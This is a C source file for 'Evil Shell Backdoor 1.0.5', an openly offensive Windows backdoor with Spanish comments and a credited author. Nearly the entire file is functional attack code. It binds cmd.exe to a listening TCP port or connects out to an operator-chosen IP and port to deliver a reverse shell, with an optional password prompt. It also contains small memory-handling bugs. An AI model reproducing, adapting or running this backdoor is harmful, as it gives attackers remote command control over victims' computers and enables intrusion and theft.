/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: Evil Shell Backdoor
Version: 1.0.5
Fichero: Evil.Shell.Backdoor_1.0.5.c
Descripcion: Devuelve Bind Shell por el puerto que se le indique, o reverse shell al
       Ip:Puerto que se le indique, con posibilidad de poner pass a la conexion
Autor: Lympex
Contacto: 
  + Web: http://l-bytes.tk
  + Mail: lympex[at]gmail[dot]com
Fecha: 17/08/2005

Compilado con: Visual C++ 6.0

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

*/

#include <stdio.h>
#include <winsock2.h>

//la librería del socket
#pragma comment(lib,"ws2_32")

/*devuelde la descripción del error, a partir de su código*/
char *MensajeError(DWORD error_num);

/*
FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
quita el último caracter de una string
*/
char chop(char *variable);

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
/*estructura con los datos para realizar la conexion*/
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/

/*para comprobar la password en caso de que exista*/
char passwd[100];
unsigned int i;

int main(int argc, char *argv[])
{
  /*BINDEA UNA SHELL AL PUERTO INDICADO*/
  int BindShellPort(short port, char *pwd);
  /*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
  int ReverseShell(char *Ip, short port, char *pwd);
  /*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
  char *HostIp(char *Host);

  printf("\n#####################################################");
  printf("\n#    -[ Evil Shell Backdoor 1.0.5 - by Lympex ]-    #");
  printf("\n#---------------------------------------------------#");
  printf("\n#            Windows Evil Shell Backdoor            #");
  printf("\n#---------------------------------------------------#");
  printf("\n# Contacto:                                         #");
  printf("\n#   + HomePage: http://l-bytes.tk                   #");
  printf("\n#   + Mail: lympex[at]gmail[dot]com                 #");
  printf("\n#####################################################\n");

  //comprobamos los argumentos
  if(argc<3 || argc>6)
  {
    printf("\n[+] Usos:");
    printf("\n    + Bind Shell: %s -b 5968 <opcion>",argv[0]);
    printf("\n    + Rev. Shell: %s -r localhost 5968 <opcion>\n",argv[0]);
    printf("\n[+] Opcion:");
    printf("\n    + -p <pwd>\n");
    ExitProcess(0);
  }

  printf("\n[+] Evil Shell Backdoor 1.0.5 corriendo con PID=%d\n",GetCurrentProcessId());

  //si es bind
  if(!strcmp(argv[1],"-b"))
  {
    if(argc>=5)
    {
      BindShellPort((short)atoi(argv[2]),argv[4]);
    }else{
      BindShellPort((short)atoi(argv[2]),NULL);
    }
  }else if(!strcmp(argv[1],"-r")){
    
    if(argc>=6)
    {
      ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),argv[5]);
    }else{
      ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),NULL);
    }
  }else{
    printf("\n[!] Parametro incorrecto\n");
  }

  ExitProcess(0);
}

/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port, char *pwd)
{
  /*=========================================
   COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
  =========================================*/
  printf("\n[+] Creando el Socket...");
  /*iniciamos el socket*/
  WSAStartup(MAKEWORD(2,2), &wsaData);
  /*asociamos*/
  //Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
  Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
  /*rellenamos la estructura*/
  Winsock_In.sin_port=htons(port);
  Winsock_In.sin_family=AF_INET;
  Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
  /*unimos el socket*/
  if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
  {
    //printf("ERROR - Error al bindear el socket\n");
    printf("ERROR - %s",MensajeError(GetLastError()));
    WSACleanup();
    return 1;
  }
  /*lo ponemos a la escucha, a la espera de clientes*/
  if(listen(Winsock,5)==SOCKET_ERROR)
  {
    //printf("ERROR - Error al poner el socket a la escucha\n");
    printf("ERROR - %s",MensajeError(GetLastError()));
    /*salimos*/
    printf("\n[+] Cerrando socket...");
    WSACleanup();
    printf("OK\n");
    return 1;
  }else{
    printf("OK");
  }
  printf("\n[+] Esperando conexion por el puerto %d...",port);
  /*asociamos la conexión establecida a otro socket*/
  if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
  {
    //printf("ERROR - Error al aceptar\n");
    printf("ERROR - %s",MensajeError(GetLastError()));
    /*salimos*/
    printf("\n[+] Cerrando socket...");
    WSACleanup();
    printf("OK\n");
    return 1;
  }else{
    printf("OK");
  }

  if(pwd!=NULL)
  {
    printf("\n[+] Esperando password...");
    do
    {
      send(Sock,"[+] Introduce la password de la shell: ",strlen("[+] Introduce la password de la shell: "),0);
      i=recv(Sock,passwd,100,0);chop(passwd);
      passwd[i]='\0';
    }while(strcmp(pwd,passwd));//mientras que lo que recibamos no es igual a la contraseña
    printf("OK");
    send(Sock,"\n",strlen("\n"),0);
  }

  printf("\n[+] Lanzando shell...");

  /*=========================================
               LANZAMOS LA SHELL
  =========================================*/
  //rellenamos la estructura
  memset(&start_proc,0,sizeof(start_proc));//limpiamos
  start_proc.cb=sizeof(start_proc);
  start_proc.dwFlags=STARTF_USESTDHANDLES;
  start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Sock;
  //lanzamos la shell
  if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
  {
    //printf("ERROR");
    printf("ERROR - %s",MensajeError(GetLastError()));
    /*salimos*/
    printf("\n[+] Cerrando socket...");
    WSACleanup();
    printf("OK\n");
    return 1;
  }else{
    printf("OK\n");
  }

  return 0;
}

/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port, char *pwd)
{
  /*=========================================
   COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
  =========================================*/
  printf("\n[+] Creando el Socket...");
  /*iniciamos el socket*/
  WSAStartup(MAKEWORD(2,2), &wsaData);
  /*asociamos*/
  //Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
  Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
  /*rellenamos la estructura*/
  Winsock_In.sin_port=htons(port);
  Winsock_In.sin_family=AF_INET;
  Winsock_In.sin_addr.s_addr=inet_addr(Ip);

  if(Winsock==INVALID_SOCKET)
  {
    //printf("ERROR");
    printf("ERROR - %s",MensajeError(GetLastError()));
    /*salimos*/
    printf("\n[+] Cerrando socket...");
    WSACleanup();
    printf("OK\n");
    return 1;
  }else{
    printf("OK");
  }

  printf("\n[+] Conectando con %s:%d...",Ip,port);
  /*conectamos*/
  if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  {
    //printf("ERROR");
    printf("ERROR - %s",MensajeError(GetLastError()));
    /*salimos*/
    printf("\n[+] Cerrando socket...");
    WSACleanup();
    printf("OK\n");
    return 1;
  }else{
    printf("OK");
  }

  if(pwd!=NULL)
  {
    printf("\n[+] Esperando password...");
    do
    {
      send(Winsock,"[+] Introduce la password para la shell: ",strlen("\n[+] Introduce la password para la shell: "),0);
      i=recv(Winsock,passwd,100,0);chop(passwd);
      passwd[i]='\0';
    }while(strcmp(pwd,passwd));
    printf("OK");
    send(Winsock,"\n",strlen("\n"),0);
  }

  printf("\n[+] Lanzando shell...");

  /*=========================================
               LANZAMOS LA SHELL
  =========================================*/
  //rellenamos la estructura
  memset(&start_proc,0,sizeof(start_proc));//limpiamos
  start_proc.cb=sizeof(start_proc);
  start_proc.dwFlags=STARTF_USESTDHANDLES;
  start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
  //lanzamos la shell
  if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
  {
    //printf("ERROR");
    printf("ERROR - %s",MensajeError(GetLastError()));
    /*salimos*/
    printf("\n[+] Cerrando socket...");
    WSACleanup();
    printf("OK\n");
    return 1;
  }else{
    printf("OK\n");
  }

  return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
     return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
  char *lpMsgBuf;

  //cojemos el mensaje del error
  FormatMessage( 
    FORMAT_MESSAGE_ALLOCATE_BUFFER | 
    FORMAT_MESSAGE_FROM_SYSTEM | 
    FORMAT_MESSAGE_IGNORE_INSERTS,
    NULL,
    error_num,
    0,
    (LPTSTR) &lpMsgBuf,
    0,
    NULL 
  );

  return lpMsgBuf;
}

//FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
//quita el último caracter de una string
char chop(char *variable)
{
  char *tmp;
  unsigned int i;

  tmp=(char *) malloc(strlen(variable)*sizeof(char));
  if(tmp==NULL)
  {
    printf("\n[!] Error reservando memoria!\n");
    return;
  }

  strcpy(tmp,variable);

  for(i=0;i<strlen(tmp)-1;i++)
  {
    variable[i]=tmp[i];
    variable[i+1]='\0';
  }

  return tmp[strlen(tmp)];
}